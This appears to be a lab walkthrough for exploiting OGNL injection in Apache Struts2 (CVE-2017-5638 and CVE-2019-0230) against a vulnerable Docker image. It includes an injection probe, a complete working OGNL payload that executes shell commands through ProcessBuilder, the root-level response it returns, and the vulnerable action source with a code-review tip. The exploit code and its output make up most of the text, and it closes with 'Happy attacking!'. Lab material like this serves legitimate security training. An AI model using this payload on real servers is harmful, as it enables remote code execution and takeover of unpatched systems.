If you don’t already have docker, get it, you will need it for this. You will also need Burp pro.
Go get apache-sturts2-CVE-2017-5638 docker image.
docker pull piesecurity/apache-struts2-cve-2017-5638
Expose localhost:8080 for that docker and run
Open your browser to http://localhost:8080/integration/saveGangster.action
Set Gangster Name to ${2+2} or %{2+2}
Age to 69 (dynamic)
Submit
On reload you will see “Gangster 4 added successfully”
Now we know we have injection!
Burp can help confirm with a bit more info to help along to exploit.
View from Burp dashboard:
Now lets look at getting that RCE.
We can start with a nice simple exploit, so open burp, make an easy POST request to the app, send it to
repeater and start with this payload found at https://github.com/PrinceFPF/CVE-2019-
0230/blob/master/CVE-2019-0230.sh:
$(echo "%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=
#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#contai
ner.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNa
mes().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='id').(
#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'c
md.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new
java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apac
he.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils
@copy(#process.getInputStream(),#ros)).(#ros.flush())}
URL encode the whole thing and submit.
You should get a response like:
HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Date: Thu, 25 Feb 2021 19:45:34 GMT
Connection: close
Content-Length: 39
uid=0(root) gid=0(root) groups=0(root)
w00t!!1
Here is a look at the code in play here (/usr/local/tomcat/webapps/ROOT/WEBINF/src/java/org/apache/struts2/showcase/integration/SaveGangsterAction.java):
package org.apache.struts2.showcase.integration;
import org.apache.struts.action.*;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
public class SaveGangsterAction extends Action {
/* (non-Javadoc)
* @see org.apache.struts.action.Action#execute(org.apache.struts.action.ActionMapping,
org.apache.struts.action.ActionForm, javax.servlet.http.HttpServletRequest,
javax.servlet.http.HttpServletResponse)
*/
@Override
public ActionForward execute(ActionMapping mapping, ActionForm form, HttpServletRequest
request, HttpServletResponse response) throws Exception {
// Some code to save the gangster to the db as necessary
GangsterForm gform = (GangsterForm) form;
ActionMessages messages = new ActionMessages();
messages.add("msg", new ActionMessage("Gangster " + gform.getName() + " added
successfully"));
addMessages(request, messages);
return mapping.findForward("success");
}
}
The payload from the name variable in the POST request is stuffed into gform, which gets put inside an
action message which evals it as Object-Graph Navigation Language (OGNL), p00f RCE. So if doing a
source code review look for new ActionMessages(); and see how its being used.
This was built for CVE-2017-5638, but as you can see payloads for CVE-2019-0230 work as well so play around with both.
You can take it from here. Happy attacking!